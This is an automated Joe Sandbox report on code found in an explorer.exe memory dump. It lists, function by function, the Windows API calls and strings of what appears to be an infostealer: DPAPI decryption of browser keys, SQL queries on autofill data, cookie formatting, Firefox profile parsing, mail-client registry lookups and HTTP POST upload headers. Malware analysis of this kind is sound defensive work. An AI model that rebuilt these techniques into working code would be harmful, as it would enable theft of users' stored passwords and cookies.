Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 1ee9ae9bd52010c8a6876952d3e5ccbacc125b686016a065b1a6b3bdf4e26b3c
Instruction ID: 90423cbd849df7a54cd9dd86644a4612cacf561d6aad973f6530617ec74df3b8
Opcode Fuzzy Hash: 1ee9ae9bd52010c8a6876952d3e5ccbacc125b686016a065b1a6b3bdf4e26b3c
Instruction Fuzzy Hash: 1031BA343343429BCB20FB349888A7F76E9BFC4240F08462DE94697244DB75E8D58792

Function 03273E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
Part of subcall function 03271B6A: CloseHandle.KERNELBASE(00000000), ref: 03271B8F

Part of subcall function 03271C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,03273E1E,00000000,?,03273FA8), ref: 03271C46
Part of subcall function 03271C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,03273FA8), ref: 03271C56
Part of subcall function 03271C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,03273FA8), ref: 03271C76
Part of subcall function 03271C31: CloseHandle.KERNELBASE(00000000,?,03273FA8), ref: 03271C91

Part of subcall function 03272FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,03273E30,00000000,00000000,?,03273FA8), ref: 03272FC1
Part of subcall function 03272FB1: lstrlen.KERNEL32("encrypted_key":",?,03273FA8), ref: 03272FCE
Part of subcall function 03272FB1: StrStrIA.SHLWAPI("encrypted_key":",032C692C,?,03273FA8), ref: 03272FDD

Part of subcall function 0327123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,03273E4B,00000000), ref: 0327124A
Part of subcall function 0327123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 03271268
Part of subcall function 0327123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 03271295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 03273E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 03273E9E

Strings

, xrefs: 03273EA8
DPAP, xrefs: 03273E52
DPAP, xrefs: 03273E5A
IDPAP, xrefs: 03273E6E, 03273E72

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: b1dea9ffc24e0ca37e074e62f56d80e3f11cd326bd8f77f4e318f1d5b319b4a3
Instruction ID: 80052907c1cf8bcbd99bb27fbcb7f26825f3d8122c20e9316c430ff27e096c8c
Opcode Fuzzy Hash: b1dea9ffc24e0ca37e074e62f56d80e3f11cd326bd8f77f4e318f1d5b319b4a3
Instruction Fuzzy Hash: D621C3766343465BD711EA698880ABFF2DDBF84600F48092DE941CB200EBB4D98997D3

Function 03274B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 03271162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0327116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 03274BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 03274BBF

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: eafdec0fc7f19011f97f9b9af827ab48e2624d8fb6f2ce7f9d71c269c1d8bd9f
Instruction ID: cfd65dcfd44cd013ef0f1e20a48e497e2ab7c17e04dbbcc676b3dddce5e8068f
Opcode Fuzzy Hash: eafdec0fc7f19011f97f9b9af827ab48e2624d8fb6f2ce7f9d71c269c1d8bd9f
Instruction Fuzzy Hash: C4E0DF31D31320ABC658FB32BC0CE5B3B9CBF81361F14C969E1659A084CB758C908A61

Function 03276512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(032D20A4,00000001,00000000,0000000A,032C3127,032728DA,00000000,?), ref: 0327BFFC

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7a5d522b96fb8f22afc0bd8d740a7e9c85f56fab4978e192cffb434d12429d59
Instruction ID: 7bcb0fa90d6c3d54893c9055732742846d03b1992585f0803e02008e1212d647
Opcode Fuzzy Hash: 7a5d522b96fb8f22afc0bd8d740a7e9c85f56fab4978e192cffb434d12429d59
Instruction Fuzzy Hash: BFE092797B4B0138F650F6F87C06F0E15456B80F40F608911B628AC8CACBF5A0D06422

Function 03273C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
Part of subcall function 03271B6A: CloseHandle.KERNELBASE(00000000), ref: 03271B8F

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 03273C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 03273C76
DeleteFileW.KERNELBASE(00000000), ref: 03273C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 03273C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 03273D2F
lstrlen.KERNEL32(00000000), ref: 03273D36
wsprintfA.USER32 ref: 03273D55
lstrlen.KERNEL32(00000000), ref: 03273D61
lstrcat.KERNEL32(00000000,?), ref: 03273D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 03273DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 03273DED

Strings

SELECT name,value FROM autofill, xrefs: 03273CAA
AUTOFILL, xrefs: 03273DBD, 03273DC2, 03273DCC
%s = %s, xrefs: 03273D4F

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: 5ca8a36496799bf0a964992cdcfc8f9f8fe87aa565d0a77d5d4a4df7ac608bf4
Instruction ID: 85baf7f34ef222f97ab74caad0692598f17e4016d4e0e1c86e824497ae637a58
Opcode Fuzzy Hash: 5ca8a36496799bf0a964992cdcfc8f9f8fe87aa565d0a77d5d4a4df7ac608bf4
Instruction Fuzzy Hash: D741B2386243426BD710FB719C84E3F77ADFF85644F04482CF945AB241DB75D88197A2

Function 032728F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 03272AD2

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 032729E1
lstrlen.KERNEL32(00000000), ref: 032729EC
wsprintfA.USER32 ref: 03272A38
lstrlen.KERNEL32(00000000), ref: 03272A44
lstrcat.KERNEL32(00000000,00000000), ref: 03272A6C
lstrlen.KERNEL32(00000000,?,?), ref: 03272A99

Strings

COOKIES, xrefs: 03272AA4, 03272AAB, 03272AB1
TRUE, xrefs: 03272A13
FALSE, xrefs: 03272A06
%sTRUE%s%s%s%s%s, xrefs: 03272A32

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: ee75efd7a9866569dc7ecc975379ee175747c16f3bc471c29c9e6bcc4d5f9be7
Instruction ID: e6ef7b60c316eaca357ce504983a3573b5d030742f5b47ae146734c2f694b85b
Opcode Fuzzy Hash: ee75efd7a9866569dc7ecc975379ee175747c16f3bc471c29c9e6bcc4d5f9be7
Instruction Fuzzy Hash: 5151D034624387DBC725EF319850A3FB7DABF89604F084C2DF8819B252DB75E8898752

Function 03272CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

Part of subcall function 03271B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
Part of subcall function 03271B6A: CloseHandle.KERNELBASE(00000000), ref: 03271B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 03272D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 03272D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,032C637C,?,00000FFF,?), ref: 03272D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 03272D7B
lstrlenW.KERNEL32(00000000), ref: 03272DD8

Strings

IsRelative, xrefs: 03272D75
Profile, xrefs: 03272D3F
Path, xrefs: 03272D62
profiles.ini, xrefs: 03272CCD

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: e2f1a953709a02ff849acbf8699ec6777dc34310041d99a51a363d48a953b246
Instruction ID: 5ba60ec6ee74f858843fe452ef5bfcf213984551e5a7ec445c200eb7b7ad578c
Opcode Fuzzy Hash: e2f1a953709a02ff849acbf8699ec6777dc34310041d99a51a363d48a953b246
Instruction Fuzzy Hash: CA318F34734342DBC714FF31985463FB6A2BFC9600F08482DE946AB281DBB599D69792

Function 03271333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

Part of subcall function 0327106C: lstrlen.KERNEL32(03587366,00000000,00000000,00000000,03271366,75918A60,03587366,00000000), ref: 03271074
Part of subcall function 0327106C: MultiByteToWideChar.KERNEL32(00000000,00000000,03587366,00000001,00000000,00000000), ref: 03271086

Part of subcall function 032712A3: RtlZeroMemory.NTDLL(?,00000018), ref: 032712B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 032713C2
wsprintfW.USER32 ref: 032714B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 03271594

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 032714FB
Accept: */*Referer: %S, xrefs: 032714AF
POST, xrefs: 03271465

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 4311ba9cfc27f73f105e55b422bafee6e6c1b9de818cc2182b9c8ca5d5148bb1
Instruction ID: 50b5a71cd00db875e617def98f2c1ebb4ebc9fdaa1429afc9dc5befde5070016
Opcode Fuzzy Hash: 4311ba9cfc27f73f105e55b422bafee6e6c1b9de818cc2182b9c8ca5d5148bb1
Instruction Fuzzy Hash: 21719B74628341AFD714EF64D888A2BBBE9FF88744F08492DF991C7341DBB0E9548B52

Function 0327B1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 0327B31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 0327B34F

Strings

winShmMap2, xrefs: 0327B2CF
winShmMap3, xrefs: 0327B399
winShmMap1, xrefs: 0327B278

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 5098926d098fc65d7ad473e5e7e94d3079facf328b8a64f2b44bc135ef747346
Instruction ID: bf10a527c8c04116aa3230afa3b51e12d519dbf27b560be88340871cf6c3cc59
Opcode Fuzzy Hash: 5098926d098fc65d7ad473e5e7e94d3079facf328b8a64f2b44bc135ef747346
Instruction Fuzzy Hash: 9C51E475620742DFDB25DF18C844A6BB7E5FF84314F04882EE8428B740DBB0E895CB91

Function 0327A40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 0327A455
memcpy.NTDLL(?,?,?), ref: 0327A479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 0327A4DB
memset.NTDLL ref: 0327A546

Strings

winRead, xrefs: 0327A515

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: a5ea454c1850742f2814d5605bb6c5e6d3012a12b31220df166803b9c0ddb188
Instruction ID: dc25b244500f6886331114ca8f4e17995af7439c50cab5f3b79ad1b8a1132dc8
Opcode Fuzzy Hash: a5ea454c1850742f2814d5605bb6c5e6d3012a12b31220df166803b9c0ddb188
Instruction Fuzzy Hash: 3D31CE72625341AFC740DE18CC9489FB7EAFFC4360F885928F89597310D271EC848B92

Function 03272E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE(?,?), ref: 03272E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 03272EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 03272F54
RegCloseKey.KERNELBASE(?), ref: 03272F62

Part of subcall function 032719E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A1E
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A3C
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A75
Part of subcall function 032719E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A98

Part of subcall function 03271BC5: lstrlenW.KERNEL32(00000000,00000000,?,03272E75,PathToExe,00000000,00000000), ref: 03271BCC
Part of subcall function 03271BC5: StrStrIW.SHLWAPI(00000000,.exe,?,03272E75,PathToExe,00000000,00000000), ref: 03271BF0
Part of subcall function 03271BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,03272E75,PathToExe,00000000,00000000), ref: 03271C05
Part of subcall function 03271BC5: lstrlenW.KERNEL32(00000000,?,03272E75,PathToExe,00000000,00000000), ref: 03271C1C

Part of subcall function 03271AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,03272E83,PathToExe,00000000,00000000), ref: 03271B16

Strings

PathToExe, xrefs: 03272E5E

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: cd89d07a5d353e069017a6617c5d19254ea7497dfcd0ee7ddd6ce9c89a919e5c
Instruction ID: 0b9a86501c461dbb517d44eb426c01112f55423fa8e148b0c080ff41caffc1b8
Opcode Fuzzy Hash: cd89d07a5d353e069017a6617c5d19254ea7497dfcd0ee7ddd6ce9c89a919e5c
Instruction Fuzzy Hash: E331AF35624312AF8715EF228808C7FBAA9FFC8250F04851CFC558B244DA70E996DBE1

Function 0327A67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 0327A6AD
_allmul.NTDLL(00000000,?,?), ref: 0327A6B6
SetEndOfFile.KERNELBASE(?), ref: 0327A6F3

Strings

winTruncate1, xrefs: 0327A6DF
winTruncate2, xrefs: 0327A717

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: bce29cde9a9360481c9967d8dc184629fbbec23bdd31f3825c2425d146c25b43
Instruction ID: ec0c9a841d58fce9f086f57d2c986a0672b224c5ed460869ba1e20e5649f6ae2
Opcode Fuzzy Hash: bce29cde9a9360481c9967d8dc184629fbbec23bdd31f3825c2425d146c25b43
Instruction Fuzzy Hash: C421CC72221240ABDF24DE2DCC84EAF77A9FF84320B158169ED14CB385D671E890CBA1

Function 03274A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

wsprintfW.USER32 ref: 03274AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 03274AC7
RegCloseKey.KERNELBASE(?), ref: 03274AD4

Strings

%s\%08x, xrefs: 03274A9C
Software, xrefs: 03274A95

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: 814c197c066b37b304e73a355e36bde2917c6e56ae2b6c4618a5d3c9ce21d112
Instruction ID: 25ee96b8baf9edc53f44d1d031777e27274eec0b71f05d68ae0c1b512c0baadc
Opcode Fuzzy Hash: 814c197c066b37b304e73a355e36bde2917c6e56ae2b6c4618a5d3c9ce21d112
Instruction Fuzzy Hash: 0A01F275620108BFDB18EF95EC8EDBF77ADFB40344B44016EF905A3101EBB06E9096A0

Function 03274317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 0327431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 03274335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 03274363
RegCloseKey.ADVAPI32(?), ref: 032743C8

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

Part of subcall function 0327418A: wsprintfW.USER32 ref: 03274212

Part of subcall function 03271011: GetProcessHeap.KERNEL32(00000000,00000000,?,03271A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2), ref: 03271020
Part of subcall function 03271011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 032743B9

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 1bca3914d5fcfd6cd38a97f70a01c0d08c663e021c16fe979191f2679dda866d
Instruction ID: b751f666d67d8f5d4b8e4d3dbc27c598c11886f65d6a9de80d97a2e1adc553cf
Opcode Fuzzy Hash: 1bca3914d5fcfd6cd38a97f70a01c0d08c663e021c16fe979191f2679dda866d
Instruction Fuzzy Hash: 071133B5124205AFE715EB11DC48DBF77DDFF84344F04462DB449D2150EBB4ED849A62

Function 0327B87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0327B8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 0327B96F

Strings

winOpen, xrefs: 0327BA22
psow, xrefs: 0327BA95

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 4aa3bf306232f1f9975c66dae5abf7b879242828372fee67ece640ac0a7321bc
Instruction ID: 00bec5ae0c5a902a271c58cbe1cfaf41da388f07a32e0b28561dc8c3f9e22893
Opcode Fuzzy Hash: 4aa3bf306232f1f9975c66dae5abf7b879242828372fee67ece640ac0a7321bc
Instruction Fuzzy Hash: 45718071A24702DFD750EF29D88175ABBE4FF48724F044A2DF8649B280D7B4D994CB92

Function 032D9247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2999144909.00000000032D7000.00000040.80000000.00040000.00000000.sdmp, Offset: 032D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_32d7000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9b287179512c20758f9f487271b1f33b5bf3eae84b45801cb523c10e825a01
Instruction ID: b2022ce0733d54073f66468c120517f3ec43859fcd481279d820e99510a2160a
Opcode Fuzzy Hash: 4a9b287179512c20758f9f487271b1f33b5bf3eae84b45801cb523c10e825a01
Instruction Fuzzy Hash: F8A139729247925FD721CF78DCC46A0BBA5EB42324B1C07ACE5D18B2C3E7A054CAC751

Function 032719E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A98

Part of subcall function 03271011: GetProcessHeap.KERNEL32(00000000,00000000,?,03271A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2), ref: 03271020
Part of subcall function 03271011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271027

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: 5d840ab353f8a649a7b9e0c34af211cc9d193933b6a46e40f761d12abeab8336
Instruction ID: f9e30be9f1f226e2552df9abe7db2bab58b9f9729816bea95c136771918ba385
Opcode Fuzzy Hash: 5d840ab353f8a649a7b9e0c34af211cc9d193933b6a46e40f761d12abeab8336
Instruction Fuzzy Hash: 6621B172224342AFE724CA21DD08F3BB7ECFFC8744F084A2DF98692140E670E990C661

Function 03271EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 03271ED5

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03271F0C
RegCloseKey.ADVAPI32(?), ref: 03271F98

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03271F82

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: a80d16b6183a330e3048c50740e1ae6f1b44a8759ebff83cbe00a6c15886f057
Instruction ID: 9da3dbb98c836c704903d891261ba1ea0193ea5e56ed420a3ac89850084229ab
Opcode Fuzzy Hash: a80d16b6183a330e3048c50740e1ae6f1b44a8759ebff83cbe00a6c15886f057
Instruction Fuzzy Hash: EA219D71228301AFD705AB21DC48E3FBBEDFFC8244F04892DF89992150DB75E9659B62

